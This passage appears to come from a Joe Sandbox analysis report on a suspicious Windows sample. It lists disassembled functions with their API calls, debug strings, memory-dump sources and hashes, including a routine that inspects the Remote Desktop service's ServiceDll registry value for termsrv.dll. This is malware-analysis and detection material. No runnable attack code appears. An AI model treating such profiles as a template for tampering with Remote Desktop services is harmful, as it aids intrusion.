Opcode Fuzzy Hash: 8500f81bbe417212a047b71eb08b57ae0d8934d82496b1388f00adba82d6eef3
Instruction Fuzzy Hash: 6BF0A490E097C382FA565F5EE8101B96351AF45FC4F558132EE4D4B799EF2CE686A300

Function 00007FF8B9181A23 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8B9181A43

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

GetLastError.KERNEL32 ref: 00007FF8B9181A76

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8B9181A63
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8B9181A8D
module_get_proc, xrefs: 00007FF8B9181A5C, 00007FF8B9181A86

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 7b9909d9e40ec3fb382d97b107a8795d681622530cbf96aad0c3b5d9fcd7d944
Instruction ID: 2d8d8db9d16b8e6589db55cf7037a1ec71be57f06d158bcd65a6be841bdbc603
Opcode Fuzzy Hash: 7b9909d9e40ec3fb382d97b107a8795d681622530cbf96aad0c3b5d9fcd7d944
Instruction Fuzzy Hash: E5F0D191A086C3A2FA028F8DE8402B563526F04BD4F15C031CE4D4B799FE2CEA47B310

Function 00007FF8BFB520F3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8BFB52113

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

GetLastError.KERNEL32 ref: 00007FF8BFB52146

Strings

module_get_proc, xrefs: 00007FF8BFB5212C, 00007FF8BFB52156
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8BFB52133
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8BFB5215D

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 27f23b630b3fee3274bf3a028bcd2db1b972005ed87ce814cecee143b722bf30
Instruction ID: fae7ac3dbad79c597fe4d217e641ad54cc7271e936c11fb84b882320d7f2aae3
Opcode Fuzzy Hash: 27f23b630b3fee3274bf3a028bcd2db1b972005ed87ce814cecee143b722bf30
Instruction Fuzzy Hash: 8FF08CA0A0A747A2FE11AB8DFC101AAB3116F14BC4F084131DF4D4BFA9EE3CE5968304

Function 00007FF8BFB373F3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8BFB37413

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

GetLastError.KERNEL32 ref: 00007FF8BFB37446

Strings

[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8BFB3745D
module_get_proc, xrefs: 00007FF8BFB3742C, 00007FF8BFB37456
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8BFB37433

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 872c14c2b4ad4861cf5742ee842d8f6257a05eca4937ccb7efe48da9e016fe22
Instruction ID: 06c13dcead6e9b31be2c21aa9eb28e2dc52454428e79bb9edf8f14a4d1efa9ee
Opcode Fuzzy Hash: 872c14c2b4ad4861cf5742ee842d8f6257a05eca4937ccb7efe48da9e016fe22
Instruction Fuzzy Hash: 44F0F451B8C70752FA01ABCEA9011B5A3266F04BC0F2C4132CF5C0B799EE2CE5469300

Function 00007FF8BFB84423 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8BFB84443

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

GetLastError.KERNEL32 ref: 00007FF8BFB84476

Strings

module_get_proc, xrefs: 00007FF8BFB8445C, 00007FF8BFB84486
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8BFB8448D
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8BFB84463

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 68bf0edd847036089264eecb137d1ff2ce4657a0f68d27ac68f5b67825259f4b
Instruction ID: 9f70e605161bd8623a0eaa56368520d6a4881b57f18ce1d1a9cb370e472f958a
Opcode Fuzzy Hash: 68bf0edd847036089264eecb137d1ff2ce4657a0f68d27ac68f5b67825259f4b
Instruction Fuzzy Hash: C0F08190A4E60781FA159BDDBC045B563916F84BD4F089131DE5D4B7A9EF2CE546C300

Function 00007FF8BA4F9FF4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8BA4FA002

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

GetLastError.KERNEL32 ref: 00007FF8BA4FA02E

Strings

module_load, xrefs: 00007FF8BA4FA016, 00007FF8BA4FA03A
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8BA4FA01D
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8BA4FA041

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: fd51d1cbaee2ddb6301145fafeb239ad102a1964c430bb25295e8db6dcc54a2a
Instruction ID: 7961175255b25e872bfb882bcbf3620712fc018bd39c3463f9808b669941953f
Opcode Fuzzy Hash: fd51d1cbaee2ddb6301145fafeb239ad102a1964c430bb25295e8db6dcc54a2a
Instruction Fuzzy Hash: DCF05E10E0EA07D8FD21ABAEBC804B12290AF06BC4F4865B5CF0D57365EF1DA68AC300

Function 00007FF8B915CF94 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8B915CFA2

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

GetLastError.KERNEL32 ref: 00007FF8B915CFCE

Strings

module_load, xrefs: 00007FF8B915CFB6, 00007FF8B915CFDA
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8B915CFE1
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8B915CFBD

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 9d72b4fa98c9842228753628f205ac3672df276f9da1b1e84b80ddd4ff2c3b68
Instruction ID: d989370117e27ff442e7930c8d3286487e26d7d20239ba50bff6a1dc5269743b
Opcode Fuzzy Hash: 9d72b4fa98c9842228753628f205ac3672df276f9da1b1e84b80ddd4ff2c3b68
Instruction Fuzzy Hash: 63F0BE64E0AAD741FA43AF5EE8104B422806F08BC4F499432DE0C96B56EE1CB585E300

Function 00007FF8B9181AA4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8B9181AB2

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

GetLastError.KERNEL32 ref: 00007FF8B9181ADE

Strings

[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8B9181AF1
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8B9181ACD
module_load, xrefs: 00007FF8B9181AC6, 00007FF8B9181AEA

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: eb8e6a62fdbad73e6668c39471aa49a82b9171855985ab7e5bfeb5c52a358f98
Instruction ID: fd222b74897f9dbe6fd12d064a1908f727ff3ae57ed5dd56cba605782f16bda5
Opcode Fuzzy Hash: eb8e6a62fdbad73e6668c39471aa49a82b9171855985ab7e5bfeb5c52a358f98
Instruction Fuzzy Hash: 06F08251E096C751FD569F9EE8805F022519F05BD4F498531CF0C57756FD1CA987B310

Function 00007FF8BFB52174 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8BFB52182

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

GetLastError.KERNEL32 ref: 00007FF8BFB521AE

Strings

module_load, xrefs: 00007FF8BFB52196, 00007FF8BFB521BA
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8BFB5219D
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8BFB521C1

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: b4151e89cc68ab8922232e954921d4160c28e21012f4ccf8fb881e6c53f3d0ac
Instruction ID: e7ff4cf232b32bc323f9d46d2f015b9a5df29aa027b0a70aa4991b8754d4bf17
Opcode Fuzzy Hash: b4151e89cc68ab8922232e954921d4160c28e21012f4ccf8fb881e6c53f3d0ac
Instruction Fuzzy Hash: C4F05810E0B64765FE5197DEEC604B473506F28BC0B480471DF0C66B62EE3CF5868300

Function 00007FF8BFB37474 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8BFB37482

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

GetLastError.KERNEL32 ref: 00007FF8BFB374AE

Strings

module_load, xrefs: 00007FF8BFB37496, 00007FF8BFB374BA
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8BFB3749D
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8BFB374C1

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: bb1c619928ca4f7d8e2c426f45a5e1ff751cec92606ee6664daf73d51ae6e90a
Instruction ID: 7d29e204e8efd35ec5763c22cfd242136b69b9d2df01abb34351f3aaab0e9ee6
Opcode Fuzzy Hash: bb1c619928ca4f7d8e2c426f45a5e1ff751cec92606ee6664daf73d51ae6e90a
Instruction Fuzzy Hash: 83F05815E8E60750FD55ABDEA8514B017606F08BD0B5C4432CF1C26756FD2CA9869300

Function 00007FF8BFB844A4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8BFB844B2

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

GetLastError.KERNEL32 ref: 00007FF8BFB844DE

Strings

[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8BFB844F1
module_load, xrefs: 00007FF8BFB844C6, 00007FF8BFB844EA
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8BFB844CD

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: d8dd7991dd3798304102d1c6ec9b6a5b169de9ed62c1dd31b0746ba544ad9bed
Instruction ID: 129b38dfb0f56d9b3f657af8351ca6798785d394a605b4adb99039c610923640
Opcode Fuzzy Hash: d8dd7991dd3798304102d1c6ec9b6a5b169de9ed62c1dd31b0746ba544ad9bed
Instruction Fuzzy Hash: 31F05E10A4A64B81FD55ABDEA8449F02390AF48BC4F48A431CE0D5775AFD2CA646C300

Function 00007FF8BFB81942 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28networkCOMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00007FF8BFB81950
WSAGetLastError.WS2_32 ref: 00007FF8BFB81979

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d), xrefs: 00007FF8BFB81997
sock_shutdown, xrefs: 00007FF8BFB8195E, 00007FF8BFB81990
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FF8BFB81965

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteshutdown
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d)$sock_shutdown
API String ID: 2143829457-932964775
Opcode ID: d6588b44ca74bd409c2f78fa1d34f814bde72a429c89db37472fc14125d1e203
Instruction ID: 0372d173eb8bf139b0ac4ef13d43122c1b9e6ab6fd080b6f57a60e297fe26457
Opcode Fuzzy Hash: d6588b44ca74bd409c2f78fa1d34f814bde72a429c89db37472fc14125d1e203
Instruction Fuzzy Hash: D3F0E221E0D543C1EA146FADE8440F92350AF85BD8F94C632DB0C821F2FE2CA54BC300

Function 00007FF8BFB819A5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26networkCOMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF8BFB819C6
WSAGetLastError.WS2_32 ref: 00007FF8BFB819E9

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB819FC
sock_close, xrefs: 00007FF8BFB819D4, 00007FF8BFB819F5
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FF8BFB819DB

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastclosesocketfflushfwrite
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d)$sock_close
API String ID: 152032778-2221966578
Opcode ID: 8599731fb1bba70c80c6a87e0d95c1ba84472dea675db9bdef4eccd0eba7448a
Instruction ID: 63d541d7c2bb6d7719950bd33f6727107b1dd9e040c96960f3e5754402777080
Opcode Fuzzy Hash: 8599731fb1bba70c80c6a87e0d95c1ba84472dea675db9bdef4eccd0eba7448a
Instruction Fuzzy Hash: C4F05890E0D647C1FA18ABFDE8410B82351AF94BF8F148335D73E562E3AE2CA586C300

Function 00007FF8B9185AC0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 50stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9182472: RegOpenKeyExA.ADVAPI32 ref: 00007FF8B91824CC

strlen.MSVCRT ref: 00007FF8B9185B12
strcmp.MSVCRT ref: 00007FF8B9185B6A

Strings

SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 00007FF8B9185AF0
termsrv.dll, xrefs: 00007FF8B9185B63
ServiceDll, xrefs: 00007FF8B9185AE9

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Openstrcmpstrlen
String ID: SYSTEM\CurrentControlSet\Services\TermService\Parameters$ServiceDll$termsrv.dll
API String ID: 679246061-1413152910
Opcode ID: 63975a93190b79f59677f2cf894f3a731aba901ec3ab26a81d23eb9d20377d47
Instruction ID: 9441c1d6a57794b99c6655ae9db667440c4c3639640f577e8d18a6079f9be22e
Opcode Fuzzy Hash: 63975a93190b79f59677f2cf894f3a731aba901ec3ab26a81d23eb9d20377d47
Instruction Fuzzy Hash: CC219D71A1CAC751EB208F18A8C03FA6355EF60394F850072E79D46196EF3CD649F650

Function 00007FF8BA4F2209 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8BA4F222F
WSAGetLastError.WS2_32 ref: 00007FF8BA4F224D

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
